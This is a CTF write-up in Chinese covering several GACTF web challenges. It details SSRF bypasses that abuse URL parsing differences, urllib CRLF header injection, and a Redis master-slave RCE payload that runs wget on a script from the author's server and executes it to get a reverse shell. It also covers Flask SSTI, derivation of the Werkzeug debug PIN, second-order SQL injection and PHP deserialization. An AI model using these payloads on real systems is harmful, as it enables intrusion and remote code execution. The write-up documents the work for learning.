EZFLASK
|
|
通过代码提示,POST请求/eval路由,得到提示:post eval
后端大概是类似于eval("post eval")
这种,但是过滤了很多内容,过滤的字符有(、)、[、、]、"、'
等,并且有长度限制
可以通过传入eval=ctf.func_code.co_consts获取隐藏路由和提示信息
(None, ‘the admin route :h4rdt0f1nd_9792uagcaca00qjaf‘, ‘too young too simple’)
https://www.cnblogs.com/xgxzj/archive/2011/09/15/2176240.html
POST请求h4rdt0f1nd_9792uagcaca00qjaf路由
获得提示,需要传入post ip=x.x.x.x&port=xxxx&path=xxx => http://ip:port/path
这里存在ssrf,ip参数限制了只能为点分十进制ip地址格式且限制了不能为内网ip,path当中不能出现数字,但是这里用的是python的requests库,默认是支持302跳转
vps 302跳转php脚本:
|
|
请求ip=vps&port=&path=/aaa.php,获取源码提示
|
|
存在ssti,获取flag
|
|
sssrfme
源码
|
|
使用parse_url
对传入的$_GET['url']
进行解析,对返回的$parsed进行了检测,通过代码可以看到需要突破的限制如下:
1、$parsed['port']
必须为80或443
2、$parsed['scheme']
必须为http或https
3、$parsed['host']
必须为公网ip
上面的限制可以通过parse_url
和curl的解析差异绕过
解析差异:
对于url格式
scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]
当url当中存在@时
parse_url
在解析url时,取的host和port为最后一个@字符后符合格式的host和port
curl在解析url时,取的host和port为第一个@字符后符合格式的host和port
举个栗子:
当请求地址http://u:p@127.0.0.1:1234 @1.1.1.1:80(注意这里中间位置有一个空格,空格也可以被其它字符代替,可以通过Fuzz获取允许的字符,有的curl版本不需要这个空格)
demo
|
|
parse_url的解析结果如下,这里解析到的host和port为1.1.1.1和80
result:
|
|
而curl解析的host和port为127.0.0.1和1234,并且可以看到在curl请求时,空格+@1.1.1.1:80内容被丢弃
通过这个特性可以绕过对host和port的限制
所以目标可以通过以下的请求绕过对ip和端口的限制,对内网ip端口进行探测(题目这里的@1.1.1.1前不需要空格就可以)
http://121.36.199.21:10801/?url=http://a:b@127.0.0.1:80@1.1.1.1/
(可以看到这里返回了http://127.0.0.1:80的页面内容)
fuzz一下其它可用字符
得到可用字符有很多
|
|
注明一下:不同环境下的测试结果会有差别,php有些版本的curl对于这样格式的url会请求失败,或者仅支持很少的字符
接下来扫描端口,在5000端口得到了提示
hello,world
hint: 这是个套娃. http://localhost:5000/?url=https://baidu.com
通过探测得知http://127.0.0.1:5000也存在ssrf,ssrf套ssrf可还行,但是经过测试后发现同样只支持http/https
之后通过OOB外带看到这里用的是python的urllib
这里可以通过urllib的http头注入突破http/https协议的限制,对内网redis进行攻击
CVE-2016-5699: http://[vps-ip]%0d%0aX-injected:%20header:8888
CVE-2019-9740: http://[vps-ip]%0d%0a%0d%0aheaders:8888
CVE-2019-9947: http://[vps-ip]:8888?%0d%0apayload%0d%0apadding
CVE-2019-9947可以成功
http://121.36.199.21:10801/?url=http://a:b@127.0.0.1:5000@1.1.1.1/?url=http://47.105.186.146:8888?%250D%250Apayload%250D%250Apadding(这里注意需要二次url编码)
可以看到注入成功
redis存在密码,需要爆破,题目提示弱口令,但是却爆破不出来,均返回-NOAUTH Authentication required.
http://121.36.199.21:10801/?url=http://a:b@127.0.0.1:5000%20@1.1.1.1/?url=http://127.0.0.1:6379?%250d%250a%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%25246%250D%250A123456%250D%250A%252A2%250D%250A%25244%250D%250Akeys%250D%250A%25241%250D%250A*
后来问了队里的师傅,原来因为这里的redis存在安全机制,导致不管输入什么命令都会显示-NOAUTH Authentication required.,所以需要通过redis主从rce爆破密码,反弹shell,密码为123456
用这个工具可以生成gopher协议的主从rce payload
https://github.com/xmsec/redis-ssrf
修改成http方式的,payload如下
http://121.36.199.21:10801/?url=http://a:b@127.0.0.1:5000@1.1.1.1/?url=http://127.0.0.1:6379?%250D%250A%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%25246%250D%250A123456%250D%250A%252A3%250D%250A%25247%250D%250ASLAVEOF%250D%250A%252414%250D%250Avps%250D%250A%25244%250D%250A7777%250D%250A%252A4%250D%250A%25246%250D%250ACONFIG%250D%250A%25243%250D%250ASET%250D%250A%25243%250D%250Adir%250D%250A%25245%250D%250A/tmp/%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25246%250D%250Aexp.so%250D%250A%252A3%250D%250A%25246%250D%250AMODULE%250D%250A%25244%250D%250ALOAD%250D%250A%252411%250D%250A/tmp/exp.so%250D%250A%252A2%250D%250A%252411%250D%250Asystem.exec%250D%250A%252444%250D%250Awget%2520http%253A//vps/1.sh%2520%2526%2526%2520bash%25201.sh%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A
反弹shell,获取flag(试了好几次才反弹到==)
补充几道赛后做的题:
simpleflask
POST访问后提示request.form[“name”],传入name进行测试,发现存在flask ssti,但是禁用了一些字符,构造以下payload获取flag
|
|
绕过:
('->"、/flag->"/FLAG".lower())
题目延申思考
寻找执行命令的链,寻找os模块
可以找到很多,比如
|
|
再缩短一下
|
|
虽然可以执行命令,但是还过滤了空格
构造payload
|
|
但是这里显示char不存在,所以暂时没办法绕过(对flask还不是太熟悉,不知道什么原因)
关于这道题看了write补充一下:
看了其他师傅和官方的wp,得知这道题还可以通过任意文件读取+获取pin码进入debug调试模式执行python代码读取flag
读取题目源码
|
|
|
|
可以看到过滤了哪些东西,并且可以看到这里flask是debug起的
读取mac地址
|
|
02:42:ac:14:00:0b
转为10进制
|
|
机器id
|
|
a8eb6cac33e701ae867269db5ce80e7f
新的machine-id要加上cgroup
于是读取/proc/self/cgroup并提取里面的id
|
|
52833efbb53e157ffd26a035d647ff1a1902fe648113ae6b0799af212f1966d0
拼接
a8eb6cac33e701ae867269db5ce80e7f52833efbb53e157ffd26a035d647ff1a1902fe648113ae6b0799af212f1966d0
脚本来自kingkk师傅 (https://xz.aliyun.com/t/2553)
得到pin码
742-613-872
进入debug模式,执行任意python代码
(需要花时间研究总结一下ssti了,姿势太多)
carefuleyes
下载www.zip进行代码审计
发现一处二次注入
在rename.php,在出库时没有对数据库当中的$result[‘filename’]进行转义
|
|
可控输入:upload.php当中的basename(pathinfo($_FILES["upfile"]['name']))['filename']
可以作为二次注入的注入点,这里转义入库,在出库时发生注入
构造filename="1' and 1=2 union select 1,group_concat(username,0x3a,password),3,4,5 from user#.jpg"
接着访问rename,在old filename处传入1' and 1=2 union select 1,group_concat(username,0x3a,password),3,4,5 from user#
,触发二次注入
获得数据库username和password为XM和qweqweqwe
upload.php存在unserialize($_GET["data"]);
,构造payload触发这里的反序列化,获取flag
payload
poc:
|
|
result:
|
|
因为这里类的属性是private,当中有不可见字符,需要修改一下
|
|
最终构造上传数据包获取flag
POST /upload.php?data=O%3A6%3A%22XCTFGG%22%3A2%3A%7BS%3A14%3A%22%5C00XCTFGG%5C00method%22%3Bs%3A5%3A%22login%22%3BS%3A12%3A%22%5C00XCTFGG%5C00args%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A2%3A%22XM%22%3Bi%3A1%3Bs%3A9%3A%22qweqweqwe%22%3B%7D%7D HTTP/1.1
Host: 202.182.118.236
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------406950059833807422084179561779
Content-Length: 228
Origin: http://202.182.118.236
Connection: close
Referer: http://202.182.118.236/
Upgrade-Insecure-Requests: 1
-----------------------------406950059833807422084179561779
Content-Disposition: form-data; name="upfile"; filename="getflag.jpg"
Content-Type: image/jpeg
111
-----------------------------406950059833807422084179561779--
XWiki
CVE-2020-11057
https://www.anquanke.com/vul/id/2024692
根据漏洞描述,需要注册账号,然后在编辑个人仪表板的位置可以执行python或groovy代码
影响版本:
XWiki Platform 7.2版本至11.10.2版本
而目标为11.10.1
http://119.3.111.133:1234/bin/edit/XWiki/Adm1nAdm1n?editor=inline&category=dashboard
|
|
|
|
直接执行这个二进制文件不行,一直显示比较数字大小
写个交互
readflag.py
|
|
得到一串二进制字符串
转为字符串就是flag
|
|
gactf{XWiki_CVE_without_permission_scripting_execution!!!}